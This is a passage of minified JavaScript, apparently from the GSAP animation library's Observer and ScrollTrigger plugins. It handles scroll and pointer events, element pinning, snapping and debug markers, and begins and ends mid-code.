e!==Te&&T(e.target)})).length||S(Le?De:g,"scroll",k),Te.isPressed&&(Te._vx.reset(),Te._vy.reset(),S(re?g:De,h[1],qe,!0)),S(Le?De:g,"scroll",Ge,pe),S(g,"wheel",Ve,pe),S(g,h[0],Be,pe),S(De,h[2],We),S(De,h[3],We),S(g,"click",Re,!0),S(g,"click",Qe),S(De,"gesturestart",Xe),S(De,"gestureend",Ye),S(g,c+"enter",Ze),S(g,c+"leave",Ke),S(g,c+"move",Ue),Te.isEnabled=Te.isPressed=Te.isDragging=!1,ce&&ce(Te))},Te.kill=Te.revert=function(){Te.disable();var e=v.indexOf(Te);e>=0&&v.splice(e,1),p===Te&&(p=0)},v.push(Te),re&&T(g)&&(p=Te),Te.enable(F)},(m=[{key:"velocityX",get:function(){return this._vx.getVelocity()}},{key:"velocityY",get:function(){return this._vy.getVelocity()}}])&&function t(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}(e.prototype,m),e}();F.version="3.12.5",F.create=function(e){return new F(e)},F.register=$,F.getAll=function(){return v.slice()},F.getById=function(e){return v.filter((function(t){return t.vars.id===e}))[0]},m()&&n.registerPlugin(F);var j,H,q,B,W,X,Y,G,V,U,Z,K,Q,J,ee,te,ne,ie,re,se,oe,ae,le,ce,ue,de,pe,he,fe,me,ge,ve,ye,be,we,_e,xe,Te,Ee=1,Se=Date.now,Ce=Se(),Me=0,ke=0,Ae=function(e,t,n){var i=Be(e)&&("clamp("===e.substr(0,6)||e.indexOf("max")>-1);return n["_"+t+"Clamp"]=i,i?e.substr(6,e.length-7):e},Oe=function(e,t){return!t||Be(e)&&"clamp("===e.substr(0,6)?e:"clamp("+e+")"},Pe=function e(){return ke&&requestAnimationFrame(e)},Le=function(){return J=1},De=function(){return J=0},Ie=function(e){return e},ze=function(e){return Math.round(1e5*e)/1e5||0},Ne=function(){return"undefined"!=typeof window},Re=function(){return j||Ne()&&(j=window.gsap)&&j.registerPlugin&&j},$e=function(e){return!!~Y.indexOf(e)},Fe=function(e){return("Height"===e?ge:q["inner"+e])||W["client"+e]||X["client"+e]},je=function(e){return x(e,"getBoundingClientRect")||($e(e)?function(){return Jt.width=q.innerWidth,Jt.height=ge,Jt}:function(){return pt(e)})},He=function(e,t){var n=t.s,i=t.d2,r=t.d,s=t.a;return Math.max(0,(n="scroll"+i)&&(s=x(e,n))?s()-je(e)()[r]:$e(e)?(W[n]||X[n])-Fe(i):e[n]-e["offset"+i])},qe=function(e,t){for(var n=0;n<re.length;n+=3)(!t||~t.indexOf(re[n+1]))&&e(re[n],re[n+1],re[n+2])},Be=function(e){return"string"==typeof e},We=function(e){return"function"==typeof e},Xe=function(e){return"number"==typeof e},Ye=function(e){return"object"==typeof e},Ge=function(e,t,n){return e&&e.progress(t?0:1)&&n&&e.pause()},Ve=function(e,t){if(e.enabled){var n=e._ctx?e._ctx.add((function(){return t(e)})):t(e);n&&n.totalTime&&(e.callbackAnimation=n)}},Ue=Math.abs,Ke="right",Qe="bottom",Je="width",et="height",tt="Right",nt="Left",it="Top",rt="Bottom",st="padding",ot="margin",at="Width",lt="Height",ct="px",ut=function(e){return q.getComputedStyle(e)},dt=function(e,t){for(var n in t)n in e||(e[n]=t[n]);return e},pt=function(e,t){var n=t&&"matrix(1, 0, 0, 1, 0, 0)"!==ut(e)[ee]&&j.to(e,{x:0,y:0,xPercent:0,yPercent:0,rotation:0,rotationX:0,rotationY:0,scale:1,skewX:0,skewY:0}).progress(1),i=e.getBoundingClientRect();return n&&n.progress(0).kill(),i},ht=function(e,t){var n=t.d2;return e["offset"+n]||e["client"+n]||0},ft=function(e){var t,n=[],i=e.labels,r=e.duration();for(t in i)n.push(i[t]/r);return n},mt=function(e){var t=j.utils.snap(e),n=Array.isArray(e)&&e.slice(0).sort((function(e,t){return e-t}));return n?function(e,i,r){var s;if(void 0===r&&(r=.001),!i)return t(e);if(i>0){for(e-=r,s=0;s<n.length;s++)if(n[s]>=e)return n[s];return n[s-1]}for(s=n.length,e+=r;s--;)if(n[s]<=e)return n[s];return n[0]}:function(n,i,r){void 0===r&&(r=.001);var s=t(n);return!i||Math.abs(s-n)<r||s-n<0==i<0?s:t(i<0?n-e:n+e)}},gt=function(e,t,n,i){return n.split(",").forEach((function(n){return e(t,n,i)}))},vt=function(e,t,n,i,r){return e.addEventListener(t,n,{passive:!i,capture:!!r})},yt=function(e,t,n,i){return e.removeEventListener(t,n,!!i)},bt=function(e,t,n){(n=n&&n.wheelHandler)&&(e(t,"wheel",n),e(t,"touchmove",n))},wt={startColor:"green",endColor:"red",indent:0,fontSize:"16px",fontWeight:"normal"},_t={toggleActions:"play",anticipatePin:0},xt={top:0,left:0,center:.5,bottom:1,right:1},Tt=function(e,t){if(Be(e)){var n=e.indexOf("="),i=~n?+(e.charAt(n-1)+1)*parseFloat(e.substr(n+1)):0;~n&&(e.indexOf("%")>n&&(i*=t/100),e=e.substr(0,n-1)),e=i+(e in xt?xt[e]*t:~e.indexOf("%")?parseFloat(e)*t/100:parseFloat(e)||0)}return e},Et=function(e,t,n,i,r,s,o,a){var l=r.startColor,c=r.endColor,u=r.fontSize,d=r.indent,p=r.fontWeight,h=B.createElement("div"),f=$e(n)||"fixed"===x(n,"pinType"),m=-1!==e.indexOf("scroller"),g=f?X:n,v=-1!==e.indexOf("start"),y=v?l:c,b="border-color:"+y+";font-size:"+u+";color:"+y+";font-weight:"+p+";pointer-events:none;white-space:nowrap;font-family:sans-serif,Arial;z-index:1000;padding:4px 8px;border-width:0;border-style:solid;";return b+="position:"+((m||a)&&f?"fixed;":"absolute;"),(m||a||!f)&&(b+=(i===P?Ke:Qe)+":"+(s+parseFloat(d))+"px;"),o&&(b+="box-sizing:border-box;text-align:left;width:"+o.offsetWidth+"px;"),h._isStart=v,h.setAttribute("class","gsap-marker-"+e+(t?" marker-"+t:"")),h.style.cssText=b,h.innerText=t||0===t?e+"-"+t:e,g.children[0]?g.insertBefore(h,g.children[0]):g.appendChild(h),h._offset=h["offset"+i.op.d2],St(h,0,i,v),h},St=function(e,t,n,i){var r={display:"block"},s=n[i?"os2":"p2"],o=n[i?"p2":"os2"];e._isFlipped=i,r[n.a+"Percent"]=i?-100:0,r[n.a]=i?"1px":0,r["border"+s+at]=1,r["border"+o+at]=0,r[n.p]=t+"px",j.set(e,r)},Ct=[],Mt={},kt=function(){return Se()-Me>34&&(we||(we=requestAnimationFrame(Yt)))},At=function(){(!le||!le.isPressed||le.startX>X.clientWidth)&&(y.cache++,le?we||(we=requestAnimationFrame(Yt)):Yt(),Me||zt("scrollStart"),Me=Se())},Ot=function(){de=q.innerWidth,ue=q.innerHeight},Pt=function(){y.cache++,!Q&&!ae&&!B.fullscreenElement&&!B.webkitFullscreenElement&&(!ce||de!==q.innerWidth||Math.abs(q.innerHeight-ue)>.25*q.innerHeight)&&G.restart(!0)},Lt={},Dt=[],It=function e(){return yt(an,"scrollEnd",e)||Bt(!0)},zt=function(e){return Lt[e]&&Lt[e].map((function(e){return e()}))||Dt},Nt=[],Rt=function(e){for(var t=0;t<Nt.length;t+=5)(!e||Nt[t+4]&&Nt[t+4].query===e)&&(Nt[t].style.cssText=Nt[t+1],Nt[t].getBBox&&Nt[t].setAttribute("transform",Nt[t+2]||""),Nt[t+3].uncache=1)},$t=function(e,t){var n;for(te=0;te<Ct.length;te++)!(n=Ct[te])||t&&n._ctx!==t||(e?n.kill(1):n.revert(!0,!0));ve=!0,t&&Rt(t),t||zt("revert")},Ft=function(e,t){y.cache++,(t||!_e)&&y.forEach((function(e){return We(e)&&e.cacheID++&&(e.rec=0)})),Be(e)&&(q.history.scrollRestoration=fe=e)},jt=0,Ht=function(){X.appendChild(me),ge=!le&&me.offsetHeight||q.innerHeight,X.removeChild(me)},qt=function(e){return V(".gsap-marker-start, .gsap-marker-end, .gsap-marker-scroller-start, .gsap-marker-scroller-end").forEach((function(t){return t.style.display=e?"none":"block"}))},Bt=function(e,t){if(!Me||e||ve){Ht(),_e=an.isRefreshing=!0,y.forEach((function(e){return We(e)&&++e.cacheID&&(e.rec=e())}));var n=zt("refreshInit");se&&an.sort(),t||$t(),y.forEach((function(e){We(e)&&(e.smooth&&(e.target.style.scrollBehavior="auto"),e(0))})),Ct.slice(0).forEach((function(e){return e.refresh()})),ve=!1,Ct.forEach((function(e){if(e._subPinOffset&&e.pin){var t=e.vars.horizontal?"offsetWidth":"offsetHeight",n=e.pin[t];e.revert(!0,1),e.adjustPinSpacing(e.pin[t]-n),e.refresh()}})),ye=1,qt(!0),Ct.forEach((function(e){var t=He(e.scroller,e._dir),n="max"===e.vars.end||e._endClamp&&e.end>t,i=e._startClamp&&e.start>=t;(n||i)&&e.setPositions(i?t-1:e.start,n?Math.max(i?t:e.start+1,t):e.end,!0)})),qt(!1),ye=0,n.forEach((function(e){return e&&e.render&&e.render(-1)})),y.forEach((function(e){We(e)&&(e.smooth&&requestAnimationFrame((function(){return e.target.style.scrollBehavior="smooth"})),e.rec&&e(e.rec))})),Ft(fe,1),G.pause(),jt++,_e=2,Yt(2),Ct.forEach((function(e){return We(e.vars.onRefresh)&&e.vars.onRefresh(e)})),_e=an.isRefreshing=!1,zt("refresh")}else vt(an,"scrollEnd",It)},Wt=0,Xt=1,Yt=function(e){if(2===e||!_e&&!ve){an.isUpdating=!0,Te&&Te.update(0);var t=Ct.length,n=Se(),i=n-Ce>=50,r=t&&Ct[0].scroll();if(Xt=Wt>r?-1:1,_e||(Wt=r),i&&(Me&&!J&&n-Me>200&&(Me=0,zt("scrollEnd")),Z=Ce,Ce=n),Xt<0){for(te=t;te-- >0;)Ct[te]&&Ct[te].update(0,i);Xt=1}else for(te=0;te<t;te++)Ct[te]&&Ct[te].update(0,i);an.isUpdating=!1}we=0},Gt=["left","top",Qe,Ke,ot+rt,ot+tt,ot+it,ot+nt,"display","flexShrink","float","zIndex","gridColumnStart","gridColumnEnd","gridRowStart","gridRowEnd","gridArea","justifySelf","alignSelf","placeSelf","order"],Vt=Gt.concat([Je,et,"boxSizing","max"+at,"max"+lt,"position",ot,st,st+it,st+tt,st+rt,st+nt]),Ut=function(e,t,n,i){if(!e._gsap.swappedIn){for(var r,s=Gt.length,o=t.style,a=e.style;s--;)o[r=Gt[s]]=n[r];o.position="absolute"===n.position?"absolute":"relative","inline"===n.display&&(o.display="inline-block"),a[Qe]=a[Ke]="auto",o.flexBasis=n.flexBasis||"auto",o.overflow="visible",o.boxSizing="border-box",o[Je]=ht(e,O)+ct,o[et]=ht(e,P)+ct,o[st]=a[ot]=a.top=a.left="0",Kt(i),a[Je]=a["max"+at]=n[Je],a[et]=a["max"+lt]=n[et],a[st]=n[st],e.parentNode!==t&&(e.parentNode.insertBefore(t,e),t.appendChild(e)),e._gsap.swappedIn=!0}},Zt=/([A-Z])/g,Kt=function(e){if(e){var t,n,i=e.t.style,r=e.length,s=0;for((e.t._gsap||j.core.getCache(e.t)).uncache=1;s<r;s+=2)n=e[s+1],t=e[s],n?i[t]=n:i[t]&&i.removeProperty(t.replace(Zt,"-$1").toLowerCase())}},Qt=function(e){for(var t=Vt.length,n=e.style,i=[],r=0;r<t;r++)i.push(Vt[r],n[Vt[r]]);return i.t=e,i},Jt={left:0,top:0},en=function(e,t,n,i,r,s,o,a,l,c,u,d,p,h){We(e)&&(e=e(a)),Be(e)&&"max"===e.substr(0,3)&&(e=d+("="===e.charAt(4)?Tt("0"+e.substr(3),n):0));var f,m,g,v=p?p.time():0;if(p&&p.seek(0),isNaN(e)||(e=+e),Xe(e))p&&(e=j.utils.mapRange(p.scrollTrigger.start,p.scrollTrigger.end,0,d,e)),o&&St(o,n,i,!0);else{We(t)&&(t=t(a));var y,b,w,_,x=(e||"0").split(" ");g=L(t,a)||X,(y=pt(g)||{})&&(y.left||y.top)||"none"!==ut(g).display||(_=g.style.display,g.style.display="block",y=pt(g),_?g.style.display=_:g.style.removeProperty("display")),b=Tt(x[0],y[i.d]),w=Tt(x[1]||"0",n),e=y[i.p]-l[i.p]-c+b+r-w,o&&St(o,w,i,n-w<20||o._isStart&&w>20),n-=n-w}if(h&&(a[h]=e||-.001,e<0&&(e=0)),s){var T=e+n,E=s._isStart;f="scroll"+i.d2,St(s,T,i,E&&T>20||!E&&(u?Math.max(X[f],W[f]):s.parentNode[f])<=T+1),u&&(l=pt(o),u&&(s.style[i.op.p]=l[i.op.p]-i.op.m-s._offset+ct))}return p&&g&&(f=pt(g),p.seek(d),m=pt(g),p._caScrollDist=f[i.p]-m[i.p],e=e/p._caScrollDist*d),p&&p.seek(v),p?e:Math.round(e)},tn=/(webkit|moz|length|cssText|inset)/i,nn=function(e,t,n,i){if(e.parentNode!==t){var r,s,o=e.style;if(t===X){for(r in e._stOrig=o.cssText,s=ut(e))+r||tn.test(r)||!s[r]||"string"!=typeof o[r]||"0"===r||(o[r]=s[r]);o.top=n,o.left=i}else o.cssText=e._stOrig;j.core.getCache(e).uncache=1,t.appendChild(e)}},rn=function(e,t,n){var i=t,r=i;return function(t){var s=Math.round(e());return s!==i&&s!==r&&Math.abs(s-i)>3&&Math.abs(s-r)>3&&(t=s,n&&n()),r=i,i=t,t}},sn=function(e,t,n){var i={};i[t.p]="+="+n,j.set(e,i)},on=function(e,t){var n=D(e,t),i="_scroll"+t.p2,r=function t(r,s,o,a,l){var c=t.tween,u=s.onComplete,d={};o=o||n();var p=rn(n,o,(function(){c.kill(),t.tween=0}));return l=a&&l||0,a=a||r-o,c&&c.kill(),s[i]=r,s.inherit=!1,s.modifiers=d,d[i]=function(){return p(o+a*c.ratio+l*c.ratio*c.ratio)},s.onUpdate=function(){y.cache++,t.tween&&Yt()},s.onComplete=function(){t.tween=0,u&&u.call(c)},c=t.tween=j.to(e,s)};return e[i]=n,n.wheelHandler=function(){return r.tween&&r.tween.kill()&&(r.tween=0)},vt(e,"wheel",n.wheelHandler),an.isTouch&&vt(e,"touchmove",n.wheelHandler),r},an=function(){function e(t,n){H||e.register(j)||console.warn("Please gsap.registerPlugin(ScrollTrigger)"),he(this),this.init(t,n)}return e.prototype.init=function(t,n){if(this.progress=this.start=0,this.vars&&this.kill(!0,!0),ke){var i,r,s,o,a,l,c,u,d,p,h,f,m,g,v,w,_,T,E,S,C,M,k,A,I,z,N,R,$,F,H,Y,G,K,ee,ne,ie,re,ae,le,ce,ue,de=t=dt(Be(t)||Xe(t)||t.nodeType?{trigger:t}:t,_t),pe=de.onUpdate,he=de.toggleClass,fe=de.id,me=de.onToggle,ge=de.onRefresh,ve=de.scrub,we=de.trigger,Ce=de.pin,Pe=de.pinSpacing,Le=de.invalidateOnRefresh,De=de.anticipatePin,Ne=de.onScrubComplete,Re=de.onSnapComplete,qe=de.once,Ze=de.snap,Ke=de.pinReparent,Qe=de.pinSpacer,gt=de.containerAnimation,bt=de.fastScrollEnd,xt=de.preventOverlaps,St=t.horizontal||t.containerAnimation&&!1!==t.horizontal?O:P,kt=!ve&&0!==ve,Ot=L(t.scroller||q),Lt=j.core.getCache(Ot),Dt=$e(Ot),zt="fixed"===("pinType"in t?t.pinType:x(Ot,"pinType")||Dt&&"fixed"),Nt=[t.onEnter,t.onLeave,t.onEnterBack,t.onLeaveBack],Rt=kt&&t.toggleActions.split(" "),$t="markers"in t?t.markers:_t.markers,Ft=Dt?0:parseFloat(ut(Ot)["border"+St.p2+at])||0,Ht=this,qt=t.onRefreshInit&&function(){return t.onRefreshInit(Ht)},Wt=function(e,t,n){var i=n.d,r=n.d2,s=n.a;return(s=x(e,"getBoundingClientRect"))?function(){return s()[i]}:function(){return(t?Fe(r):e["client"+r])||0}}(Ot,Dt,St),Yt=function(e,t){return!t||~b.indexOf(e)?je(e):function(){return Jt}}(Ot,Dt),Gt=0,Vt=0,Zt=0,tn=D(Ot,St);if(Ht._startClamp=Ht._endClamp=!1,Ht._dir=St,De*=45,Ht.scroller=Ot,Ht.scroll=gt?gt.time.bind(gt):tn,o=tn(),Ht.vars=t,n=n||t.animation,"refreshPriority"in t&&(se=1,-9999===t.refreshPriority&&(Te=Ht)),Lt.tweenScroll=Lt.tweenScroll||{top:on(Ot,P),left:on(Ot,O)},Ht.tweenTo=i=Lt.tweenScroll[St.p],Ht.scrubDuration=function(e){(G=Xe(e)&&e)?Y?Y.duration(e):Y=j.to(n,{ease:"expo",totalProgress:"+=0",inherit:!1,duration:G,paused:!0,onComplete:function(){return Ne&&Ne(Ht)}}):(Y&&Y.progress(1).kill(),Y=0)},n&&(n.vars.lazy=!1,n._initted&&!Ht.isReverted||!1!==n.vars.immediateRender&&!1!==t.immediateRender&&n.duration()&&n.render(0,!0,!0),Ht.animation=n.pause(),n.scrollTrigger=Ht,Ht.scrubDuration(ve),F=0,fe||(fe=n.vars.id)),Ze&&(Ye(Ze)&&!Ze.push||(Ze={snapTo:Ze}),"scrollBehavior"in X.style&&j.set(Dt?[X,W]:Ot,{scrollBehavior:"auto"}),y.forEach((function(e){return We(e)&&e.target===(Dt?B.scrollingElement||W:Ot)&&(e.smooth=!1)})),s=We(Ze.snapTo)?Ze.snapTo:"labels"===Ze.snapTo?function(e){return function(t){return j.utils.snap(ft(e),t)}}(n):"labelsDirectional"===Ze.snapTo?(le=n,function(e,t){return mt(ft(le))(e,t.direction)}):!1!==Ze.directional?function(e,t){return mt(Ze.snapTo)(e,Se()-Vt<500?0:t.direction)}:j.utils.snap(Ze.snapTo),K=Ze.duration||{min:.1,max:2},K=Ye(K)?U(K.min,K.max):U(K,K),ee=j.delayedCall(Ze.delay||G/2||.1,(function(){var e=tn(),t=Se()-Vt<500,r=i.tween;if(!(t||Math.abs(Ht.getVelocity())<10)||r||J||Gt===e)Ht.isActive&&Gt!==e&&ee.restart(!0);else{var o,a,u=(e-l)/g,d=n&&!kt?n.totalProgress():u,p=t?0:(d-H)/(Se()-Z)*1e3||0,h=j.utils.clamp(-u,1-u,Ue(p/2)*p/.185),f=u+(!1===Ze.inertia?0:h),m=Ze,v=m.onStart,y=m.onInterrupt,b=m.onComplete;if(o=s(f,Ht),Xe(o)||(o=f),a=Math.round(l+o*g),e<=c&&e>=l&&a!==e){if(r&&!r._initted&&r.data<=Ue(a-e))return;!1===Ze.inertia&&(h=o-u),i(a,{duration:K(Ue(.185*Math.max(Ue(f-d),Ue(o-d))/p/.05||0)),ease:Ze.ease||"power3",data:Ue(a-e),onInterrupt:function(){return ee.restart(!0)&&y&&y(Ht)},onComplete:function(){Ht.update(),Gt=tn(),n&&(Y?Y.resetTo("totalProgress",o,n._tTime/n._tDur):n.progress(o)),F=H=n&&!kt?n.totalProgress():Ht.progress,Re&&Re(Ht),b&&b(Ht)}},e,h*g,a-e-h*g),v&&v(Ht,i.tween)}}})).pause()),fe&&(Mt[fe]=Ht),(ae=(we=Ht.trigger=L(we||!0!==Ce&&Ce))&&we._gsap&&we._gsap.stRevert)&&(ae=ae(Ht)),Ce=!0===Ce?we:L(Ce),Be(he)&&(he={targets:we,className:he}),Ce&&(!1===Pe||Pe===ot||(Pe=!(!Pe&&Ce.parentNode&&Ce.parentNode.style&&"flex"===ut(Ce.parentNode).display)&&st),Ht.pin=Ce,(r=j.core.getCache(Ce)).spacer?v=r.pinState:(Qe&&((Qe=L(Qe))&&!Qe.nodeType&&(Qe=Qe.current||Qe.nativeElement),r.spacerIsNative=!!Qe,Qe&&(r.spacerState=Qt(Qe))),r.spacer=T=Qe||B.createElement("div"),T.classList.add("pin-spacer"),fe&&T.classList.add("pin-spacer-"+fe),r.pinState=v=Qt(Ce)),!1!==t.force3D&&j.set(Ce,{force3D:!0}),Ht.spacer=T=r.spacer,$=ut(Ce),A=$[Pe+St.os2],S=j.getProperty(Ce),C=j.quickSetter(Ce,St.a,ct),Ut(Ce,T,$),_=Qt(Ce)),$t){f=Ye($t)?dt($t,wt):wt,p=Et("scroller-start",fe,Ot,St,f,0),h=Et("scroller-end",fe,Ot,St,f,0,p),E=p["offset"+St.op.d2];var rn=L(x(Ot,"content")||Ot);u=this.markerStart=Et("start",fe,rn,St,f,E,0,gt),d=this.markerEnd=Et("end",fe,rn,St,f,E,0,gt),gt&&(re=j.quickSetter([u,d],St.a,ct)),zt||b.length&&!0===x(Ot,"fixedMarkers")||(ue=ut(ce=Dt?X:Ot).position,ce.style.position="absolute"===ue||"fixed"===ue?ue:"relative",j.set([p,h],{force3D:!0}),z=j.quickSetter(p,St.a,ct),R=j.quickSetter(h,St.a,ct))}if(gt){var an=gt.vars.onUpdate,ln=gt.vars.onUpdateParams;gt.eventCallback("onUpdate",(function(){Ht.update(0,0,1),an&&an.apply(gt,ln||[])}))}if(Ht.previous=function(){return Ct[Ct.indexOf(Ht)-1]},Ht.next=function(){return Ct[Ct.indexOf(Ht)+1]},Ht.revert=function(e,t){if(!t)return Ht.kill(!0);var i=!1!==e||!Ht.enabled,r=Q;i!==Ht.isReverted&&(i&&(ne=Math.max(tn(),Ht.scroll.rec||0),Zt=Ht.progress,ie=n&&n.progress()),u&&[u,d,p,h].forEach((function(e){return e.style.display=i?"none":"block"})),i&&(Q=Ht,Ht.update(i)),!Ce||Ke&&Ht.isActive||(i?function(e,t,n){Kt(n);var i=e._gsap;if(i.spacerIsNative)Kt(i.spacerState);else if(e._gsap.swappedIn){var r=t.parentNode;r&&(r.insertBefore(e,t),r.removeChild(t))}e._gsap.swappedIn=!1}(Ce,T,v):Ut(Ce,T,ut(Ce),I)),i||Ht.update(i),Q=r,Ht.isReverted=i)},Ht.refresh=function(r,s,f,y){if(!Q&&Ht.enabled||s)if(Ce&&r&&Me)vt(e,"scrollEnd",It);else{!_e&&qt&&qt(Ht),Q=Ht,i.tween&&!f&&(i.tween.kill(),i.tween=0),Y&&Y.pause(),Le&&n&&n.revert({kill:!1}).invalidate(),Ht.isReverted||Ht.revert(!0,!0),Ht._subPinOffset=!1;var b,x,E,C,A,z,R,$,F,H,q,G,V,U=Wt(),Z=Yt(),K=gt?gt.duration():He(Ot,St),J=g<=.01,te=0,re=y||0,se=Ye(f)?f.end:t.end,ae=t.endTrigger||we,le=Ye(f)?f.start:t.start||(0!==t.start&&we?Ce?"0 0":"0 100%":0),ce=Ht.pinnedContainer=t.pinnedContainer&&L(t.pinnedContainer,Ht),ue=we&&Math.max(0,Ct.indexOf(Ht))||0,de=ue;for($t&&Ye(f)&&(G=j.getProperty(p,St.p),V=j.getProperty(h,St.p));de--;)(z=Ct[de]).end||z.refresh(0,1)||(Q=Ht),!(R=z.pin)||R!==we&&R!==Ce&&R!==ce||z.isReverted||(H||(H=[]),H.unshift(z),z.revert(!0,!0)),z!==Ct[de]&&(ue--,de--);for(We(le)&&(le=le(Ht)),le=Ae(le,"start",Ht),l=en(le,we,U,St,tn(),u,p,Ht,Z,Ft,zt,K,gt,Ht._startClamp&&"_startClamp")||(Ce?-.001:0),We(se)&&(se=se(Ht)),Be(se)&&!se.indexOf("+=")&&(~se.indexOf(" ")?se=(Be(le)?le.split(" ")[0]:"")+se:(te=Tt(se.substr(2),U),se=Be(le)?le:(gt?j.utils.mapRange(0,gt.duration(),gt.scrollTrigger.start,gt.scrollTrigger.end,l):l)+te,ae=we)),se=Ae(se,"end",Ht),c=Math.max(l,en(se||(ae?"100% 0":K),ae,U,St,tn()+te,d,h,Ht,Z,Ft,zt,K,gt,Ht._endClamp&&"_endClamp"))||-.001,te=0,de=ue;de--;)(R=(z=Ct[de]).pin)&&z.start-z._pinPush<=l&&!gt&&z.end>0&&(b=z.end-(Ht._startClamp?Math.max(0,z.start):z.start),(R===we&&z.start-z._pinPush<l||R===ce)&&isNaN(le)&&(te+=b*(1-z.progress)),R===Ce&&(re+=b));if(l+=te,c+=te,Ht._startClamp&&(Ht._startClamp+=te),Ht._endClamp&&!_e&&(Ht._endClamp=c||-.001,c=Math.min(c,He(Ot,St))),g=c-l||(l-=.01)&&.001,J&&(Zt=j.utils.clamp(0,1,j.utils.normalize(l,c,ne))),Ht._pinPush=re,u&&te&&((b={})[St.a]="+="+te,ce&&(b[St.p]="-="+tn()),j.set([u,d],b)),!Ce||ye&&Ht.end>=He(Ot,St)){if(we&&tn()&&!gt)for(x=we.parentNode;x&&x!==X;)x._pinOffset&&(l-=x._pinOffset,c-=x._pinOffset),x=x.parentNode}else b=ut(Ce),C=St===P,E=tn(),M=parseFloat(S(St.a))+re,!K&&c>1&&(q={style:q=(Dt?B.scrollingElement||W:Ot).style,value:q["overflow"+St.a.toUpperCase()]},Dt&&"scroll"!==ut(X)["overflow"+St.a.toUpperCase()]&&(q.style["overflow"+St.a.toUpperCase()]="scroll")),Ut(Ce,T,b),_=Qt(Ce),x=pt(Ce,!0),$=zt&&D(Ot,C?O:P)(),Pe?((I=[Pe+St.os2,g+re+ct]).t=T,(de=Pe===st?ht(Ce,St)+g+re:0)&&(I.push(St.d,de+ct),"auto"!==T.style.flexBasis&&(T.style.flexBasis=de+ct)),Kt(I),ce&&Ct.forEach((function(e){e.pin===ce&&!1!==e.vars.pinSpacing&&(e._subPinOffset=!0)})),zt&&tn(ne)):(de=ht(Ce,St))&&"auto"!==T.style.flexBasis&&(T.style.flexBasis=de+ct),zt&&((A={top:x.top+(C?E-l:$)+ct,left:x.left+(C?$:E-l)+ct,boxSizing:"border-box",position:"fixed"})[Je]=A["max"+at]=Math.ceil(x.width)+ct,A[et]=A["max"+lt]=Math.ceil(x.height)+ct,A[ot]=A[ot+it]=A[ot+tt]=A[ot+rt]=A[ot+nt]="0",A[st]=b[st],A[st+it]=b[st+it],A[st+tt]=b[st+tt],A[st+rt]=b[st+rt],A[st+nt]=b[st+nt],w=function(e,t,n){for(var i,r=[],s=e.length,o=n?8:0;o<s;o+=2)i=e[o],r.push(i,i in t?t[i]:e[o+1]);return r.t=e.t,r}(v,A,Ke),_e&&tn(0)),n?(F=n._initted,oe(1),n.render(n.duration(),!0,!0),k=S(St.a)-M+g+re,N=Math.abs(g-k)>1,zt&&N&&w.splice(w.length-2,2),n.render(0,!0,!0),F||n.invalidate(!0),n.parent||n.totalTime(n.totalTime()),oe(0)):k=g,q&&(q.value?q.style["overflow"+St.a.toUpperCase()]=q.value:q.style.removeProperty("overflow-"+St.a));H&&H.forEach((function(e){return e.revert(!1,!0)})),Ht.start=l,Ht.end=c,o=a=_e?ne:tn(),gt||_e||(o<ne&&tn(ne),Ht.scroll.rec=0),Ht.revert(!1,!0),Vt=Se(),ee&&(Gt=-1,ee.restart(!0)),Q=0,n&&kt&&(n._initted||ie)&&n.progress()!==ie&&n.progress(ie||0,!0).render(n.time(),!0,!0),(J||Zt!==Ht.progress||gt||Le)&&(n&&!kt&&n.totalProgress(gt&&l<-.001&&!Zt?j.utils.normalize(l,c,0):Zt,!0),Ht.progress=J||(o-l)/g===Zt?0:Zt),Ce&&Pe&&(T._pinOffset=Math.round(Ht.progress*k)),Y&&Y.invalidate(),isNaN(G)||(G-=j.getProperty(p,St.p),V-=j.getProperty(h,St.p),sn(p,St,G),sn(u,St,G-(y||0)),sn(h,St,V),sn(d,St,V-(y||0))),J&&!_e&&Ht.update(),!ge||_e||m||(m=!0,ge(Ht),m=!1)}},Ht.getVelocity=function(){return(tn()-a)/(Se()-Z)*1e3||0},Ht.endAnimation=function(){Ge(Ht.callbackAnimation),n&&(Y?Y.progress(1):n.paused()?kt||Ge(n,Ht.direction<0,1):Ge(n,n.reversed()))},Ht.labelToScroll=function(e){return n&&n.labels&&(l||Ht.refresh()||l)+n.labels[e]/n.duration()*g||0},Ht.getTrailing=function(e){var t=Ct.indexOf(Ht),n=Ht.direction>0?Ct.slice(0,t).reverse():Ct.slice(t+1);return(Be(e)?n.filter((function(t){return t.vars.preventOverlaps===e})):n).filter((function(e){return Ht.direction>0?e.end<=l:e.start>=c}))},Ht.update=function(e,t,r){if(!gt||r||e){var s,u,d,h,f,m,v,y=!0===_e?ne:Ht.scroll(),b=e?0:(y-l)/g,x=b<0?0:b>1?1:b||0,E=Ht.progress;if(t&&(a=o,o=gt?tn():y,Ze&&(H=F,F=n&&!kt?n.totalProgress():x)),De&&Ce&&!Q&&!Ee&&Me&&(!x&&l<y+(y-a)/(Se()-Z)*De?x=1e-4:1===x&&c>y+(y-a)/(Se()-Z)*De&&(x=.9999)),x!==E&&Ht.enabled){if(h=(f=(s=Ht.isActive=!!x&&x<1)!=(!!E&&E<1))||!!x!=!!E,Ht.direction=x>E?1:-1,Ht.progress=x,h&&!Q&&(u=x&&!E?0:1===x?1:1===E?2:3,kt&&(d=!f&&"none"!==Rt[u+1]&&Rt[u+1]||Rt[u],v=n&&("complete"===d||"reset"===d||d in n))),xt&&(f||v)&&(v||ve||!n)&&(We(xt)?xt(Ht):Ht.getTrailing(xt).forEach((function(e){return e.endAnimation()}))),kt||(!Y||Q||Ee?n&&n.totalProgress(x,!(!Q||!Vt&&!e)):(Y._dp._time-Y._start!==Y._time&&Y.render(Y._dp._time-Y._start),Y.resetTo?Y.resetTo("totalProgress",x,n._tTime/n._tDur):(Y.vars.totalProgress=x,Y.invalidate().restart()))),Ce)if(e&&Pe&&(T.style[Pe+St.os2]=A),zt){if(h){if(m=!e&&x>E&&c+1>y&&y+1>=He(Ot,St),Ke)if(e||!s&&!m)nn(Ce,T);else{var S=pt(Ce,!0),O=y-l;nn(Ce,X,S.top+(St===P?O:0)+ct,S.left+(St===P?0:O)+ct)}Kt(s||m?w:_),N&&x<1&&s||C(M+(1!==x||m?0:k))}}else C(ze(M+k*x));Ze&&!i.tween&&!Q&&!Ee&&ee.restart(!0),he&&(f||qe&&x&&(x<1||!be))&&V(he.targets).forEach((function(e){return 